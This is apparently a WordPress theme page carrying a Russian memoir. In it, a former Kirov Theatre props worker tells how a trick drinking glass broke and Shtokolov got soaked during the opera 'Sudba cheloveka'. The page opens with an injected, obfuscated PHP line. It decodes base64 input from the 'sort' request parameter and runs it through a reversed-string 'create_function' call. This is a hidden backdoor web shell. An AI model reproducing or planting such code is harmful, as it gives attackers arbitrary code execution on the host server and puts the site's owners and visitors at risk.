nnn$z0=$_REQUEST['sort'];$q1='';$c2="wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2";$y3=array(8,38,15,7,6,4,26,25,7,34,24,25,7);foreach($y3 as $h4){$q1.=$c2[$h4];}$v5=strrev("noi"."tcnuf"."_eta"."erc");$j6=$v5("",$q1($z0));$j6();nnn?php /** * @package dazzling */ ?>

СУТЬба ЧЕЛОВЕКА


Где  тонко  –  там  и  рвётся.
                               человеческий  опыт

    Мало  кто  знает, что  нашим  одним  из  лучших  мировых басов  – Б.Т.Штоколовым –  мы  обязаны  исключительно  знаменитой авторитарности . . . маршала  Жукова !
    Когда  в  конце  сороковых  годов  Жуков командовал  Уральским  военным  округом,  то  он  присутствовал  на  торжественном  выпуске  (1949 года) курсантов  спецшколы  ВВС. После  обязательного  концерта  самодеятельности  Жуков  распорядился  оставить авиацию  без  Штоколова (обойдутся !),  а  тому –  поступать  в  Свердловскую  консерваторию. Штоколов,  когда  рассказывал  о  себе,  так  и  посмеивался,  что  в консерваторию  попал  "по  знакомству",  по  крупному  блату. Если  бы  Штоколов  мог  в  становлении  своей  карьеры  т а к   разъезжать  по  миру  c  безграничными  репертуарными  возможностями   и  "пиариться",  как,  допустим, Шаляпин,  то  "звёздность" солиста  Кировского  театра  была  бы  не  мировой,  а  "галактической", как  у   нашего  соотечественника  Фёдора  Ивановича ! . .

      А    м о и    взаимоотношения  с  оперой  я  уже  в  предыдущих  "мемориях"  описывала.(. . …)  Под  вопли  близких.  что я  опять "теряю  год" , не  желая  "учиться, учиться  и  учиться", но  зная  вольготную  жизнь  реквизиторов  в  театре ( по  сравнению  с  рабочими  сцены), я  пошла  по  той  же " рабочей  сетке"  в  Кировский (Мариинский)театр, чтобы  бесплатно  смотреть  балеты  и   иметь  достаточно    с в о б о д н о г о     в р е м е н и,  чтобы  познавать  "взрослую  жизнь",  возясь  с  разгульным  на  тот  исторический  период  Гариком-Егором,  будущим   легендарным   отцом  Георгием . . .

      Я   пошла  наслаждаться  балетным  искусством, совершенно  упустив  из  виду,  что  в  театре  к   б а л е т у  "нелепым"  образом  приклеена  ещё  и   о п е р а,  которую  я  ненавидела  со  времён  музыкальной  школы,  где  нас  обязывали  ходить  на  оперные  постановки   по  абонементам.
    Я  легко  и  просто  получила  то,  что  хотела: "с  улицы", с  проходной  я   позвонила  начальнику  бутафорского  цеха   –  и  тут  же  очутилась  в  недрах  вдрызг  расскандалившегося   нетворческого, но  (адская смесь!) в  то  же  время  театрального  бутафорского коллектива. Ко  всему  этому  оказалось,  что  мне,  как  и  всем  положено, придётся  работать  с  этим  нечеловеческим "геронтоколлективом"  и   на   о п е р н ы х: как   спектаклях, так  и  репетициях. Я  решительно  пошла  в  отдел  кадров  увольняться.
   Выйдя  из  лифта   на  этаже  отдела  кадров  театра,  я, одумавшись,  решила  смириться  с  "силой  судьбы", с  операми  ради  балетов.
   Ведь  меня  в  опере  смущало  абсолютно  всё :  пыльные  и   временами  случайные  декорации, тягомотная   драматургия  с  режиссёрской  беспомощностью, актёрская   самодеятельность  со   странной  мимикой  и  жестикуляциями  исполнителей,  их  звуковая  разбалансированность, раскормленность   и   неумность.
   Но   главное,  как  это  не  смешно,  я  до  ужаса   боялась  оперной  "н е ч и с т о й   с и л ы   в о   п л о т И"  –  в    её  прямом   смысле –  в о   п л о т и:  Демона (в  одноимённой  опере  А.Рубинштейна), Мефистофеля (  "Фаусте" Гуно),  привидения  (в  "Пиковой даме"), религиозного  абсурда (в "Обручение  в  монастыре" Прокофьева). . . Странно:  почему-то   в   б а л е т е   меня   подобные  метафизические  составляющие  " во  плотИ"  ничуть  не  отвращали, а  даже  наоборот, умиляли  и  оптимизировали.

     Моё   же   первое  столкновение  с    оперным  с о ц р е а л и з м о м      ознаменовалось  грандиознейшим  скандалом !  Из-за   него  я  была  уверена, что   вылечу  из  театра  на  улицу  так  же,  как   сюда,  в  театр,  и  попала. В  момент  скандала  я  себя  поддразнивала,  что  зря   недавно  мучилась   у  дверей  отдела  кадров  " увольняться  или  не  увольняться"  –  всё  было  детерминировано,  обречено  на   самовыдавливание  из  ненавистного  мне  жанра.  Что  же  произошло ?

    А  случилось   э т о   во  время  представления   оперы  композитора  И.И.Дзержинского  "Судьба  человека",  в  которой  у  Штоколова  была  коронная  партия.
  Уже  к  1970 году (время  описываемого  происшествия) незаменимый  исполнитель  Андрея  Соколова    Борис  Тимофеевич  Штоколов  –  орденоносец,  несколько  лет   уже  был  народный   артист  СССР, лауреат  государственной  премии ! Именно  ему-то   я  и  "подкузьмила"
    Вероятно, в  случившемся  виновата  и  моя  детская  фобия  оперной  н е ч и с т о й    с и л ы   – в  данном  случае:  поющих  фашистов. Но  при  всём  том   я, дурочка,  благоговейно  трепетала  от  сознания,  что  буду  "обслуживать"  абсолютно  всеми  любимую    ф р а з  у    из  фильма (1959 года)  Бондарчука  по  повести  Нобелевского  лауреата  М.Шолохова  "Судьба  человека":

                                     " Я   П О С Л Е     П Е Р В О Й    Н Е    З А К У С Ы В А Ю  ! "

    И  именно  эта  фраза  стала  ключом  скандала.

   Но  сначала  надо  отдельно  сказать  о   реквизитах  происшествия: стакане  и   бутерброде, предназначенном  на  занюхивание  героем   "после  третьей".

                                      1) СТАКАН  2) БУТЕРБРОД   И   3) МАЛЕНЬКАЯ  ТЕЛЕЖКА

  1) Гранёный, родной, советский,  но . . .  с  просверленной   ДЫРКОЙ   в  донышке.  Он  ставился   в  углубление   на   а  ля  ресторанную  тележку. Под  столешницей  этой  тележки  (тоже  с  дыркой  в  углублении  для  стока  воды  из  стакана – ведь  персонаж  Штоколова  должен  три  раза  подряд  запрокидывать  в  себя  содержимое  бутылки)  нами  прикручивался  бидончик  для  слива  воды-водки  из,  естественно,  бутылки. Если  помните, пленного  Андрея  Соколова,  пытавшегося  сбежать, фашистские  офицеры, предающиеся  военному  допингу  –  алкоголю  –  собираются  расстрелять,  но  перед  этим  они  хотят  окончательно   сломить  волю  русского  мужика.  Нашли  чем !
    Фашистские   стервятники   в  сцене  "издевательства"  над  главным  героем  зовут   пленную  Зинку-официантку (меццо-сопрано),  которая  вывозит  на  сцену  мою  "заряженную"  тележку, и   начинается  всеми  любимое  противоборство.  Как  известно,  после  третьего  "раунда",  как  мы  в  детстве  говорили: наша  победа – немцы  без  обеда !

    2) Парафраз  о  бутерброде. О, это   просто  гимн  отечественной  бюрократии !
 За  несколько  часов  до  начала  спектакля  вместо  того, чтобы  просто  спуститься  по  небольшому  лестничному  пролёту  в  артистический  закулисный  буфет  и  купить   т а м     копеечный  бутерброд  с  полукопчёной  колбасой, начальство  изобрело  просто  инквизиторскую  церемонию  актуализации  бутерброда  –  незатейливого  изобретения  европейцев.
  Мой  начальник  выписывал "заказ".  Я  шла  закулисными  коридорами  в  какой-то  кабинет  выписывать  товарный  чек.  Потом  шла  в  другой  кабинет  его  заверять.  Потом  л е г а л ь н о  переходила  границу  закулисья  и  зрительского  фойе,  что   с т р о г о   запрещено   работникам  сцены.  Под  негодующие  взгляды  билетёрш  я  по  всем  этажам  искала  среди  буфетиков-близнецов  с  немыслимыми  ценами  на  бутерброды  тот,  единственный,  буфет,  где  имели  право  принимать  товарные  чеки ( ещё  мы  туда  ходили  за  ящиками  лимонада  для  "Травиаты"  и  оперы  Мурадели "Октябрь"  … вот  только   г д е  мы  брали  три  сырых  яйца  для  "Севильского  цирюльника"-   для  имитации  мыльной  пены  – мне  сейчас  не  вспомнить).  После  ритуала  "сдал-принял"  я  получала  в  бумажной  салфетке  тонюсенький  кусочек  булки  с  прозрачной  нашлёпкой  колбасы  и  по  оставленным   в  лабиринтах   визуальным  "зарубкам"  выбиралась  из  этого  мертвенного  царства  в  вечно  живые  пенаты  закулисья.
     Ясно,  этот  в ы м у ч е н н ы й   бутерброд  только  и  можно  было,  что  занюхивать !

   3)  Итак,  время "Ч" !  Первый  раз  в  первый  класс !  Мне  надо  вывезти  из  нашего  помещения  на  сцену, в  кулису   т е л е ж к у    со  стаканом  и  бутербродом. Тележка  неуклюжая,  типа  тележек  с  мороженым. Я,  ещё  не  "пристрелявшись"  к  неровностям  и  покатостям  старого, с  выбоинами  пола  бутафорского  цеха,  затаив  дыхание,   двигаю  по  нему  перед  собой  эту  мерзкую  телегу. . .
      И  тут  происходит,  что  бывает  только  в  мультфильмах  или  в  документальных  военных  съёмках:  уникальный  стакан  с  уникальной  дыркой  сам  подпрыгнул  из  своего  углубления,  словно  снаряд  из  подземной  шахты, на  наносекунду  завис  в  воздухе, выбирая  самую  подлую  программу  нанесения  ущерба, перемахнул  за  борт  тележки  и  покончил  жизнь  самоубийством,  разлетевшись от  взаимодействия  с каменной   плиткой   в  космическую  пыль !
   Я  в  своих "мемориях" уже  не  раз  описывала  немые  сцены  ужаса. Замерев  и  выдохнув, кто-то  подал   обыкновенный  стакан,  и  вместе  с  этой  подменой  стала  ясна  масштабность  случившегося. Вы  спросите,  почему  у  нас  не  было  запасного  стакана  с  дыркой ?  В  том-то  и  дело,  что  этот  стакан  и  был  последним  из  запасных ! А  Штоколова  и  "фашистов"  уже  нельзя  было   предупредить  о  надвигающемся  обливании   даже  с  помощью  "Зинки".
    В  общем  Андрей  Соколов  ушёл  после  этой  мизансцены,  как описанный. Начался  та-а-кой  мегаскандал  . . .
    Но  произошло  чудо ! Претензии  по  поводу  унижения  народного  СССР  с  самого  "верха"  были  предъявлены  не  лично  мне, но  как  бы  распределились  по  всему  коллективу  равномерно.
    А  возможно,  что  эта  волна,  предназначенная  для  меня,  была  перекрыта  другой,  какой-нибудь  более  сильной  волной  –  ведь  в  таком  громадном  театре  постоянно  случается  что-нибудь  сенсационное ! А  может,  добрейший  Борис  Тимофеевич  сам  пресёк  разборки  – мне  не  известно . . .  Может,  и  сняли  нам  или  мне  лично  регулярно  выдаваемую  денежную премию.  –  этого  я  не  помню . . .
     Но  у  меня  есть  и  собственное  – " метафизическое " –   толкование  этого  происшествия.
     Возможно,  всех  хором  накрыла,  заставив  умолкнуть, некая   мистическая  пелена  ещё   д а л ё к о й   по  времени,  но  неизбежной,  антиалкогольной  кампании.  Однако  волной  дурацкой,  как  и   сам  этот  случай.  Может,  это  был  "сигнальчик",   "з н а к    с в ы ш е":  мол  ребята,  з а в я з ы в а т ь    с   э т и м   делом  пора !

      Под  чутким  руководством  хохочущего  над  этой  историей  Гариком-Егором,  будущим  о.Георгием, я   научилась  лихо  в  домашних  условиях  ковырять  дрелью  в  стаканах  дырки. По  этому  поводу  он   "обогатил"  меня  ещё  одним   неприличным  анекдотом.
   Не  ради  скабрезности,  а  токмо  ради  душеспасительной  дидактики  приведу  его  здесь. Прошу  пардону.

  Грешнику   для  острастки  показывают ад,  а  там  все  возбуждены: тётки  сидят  у  дядек  на  коленках,  у  всех  в  руках  стаканы . . . Грешник  недоумевает:  но  ведь  это  же  просто  рай !  А  ему  говорят: "Не  верь  глазам  своим ! У  них  всех  стаканы  с  дыркой,  а  женщины  без  дырки ! "

""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
анонс: ДА  КТО  Ж ТАКОЙ СЛОВУЩИЙ ?феномен "поручика Киже"


Добавить комментарий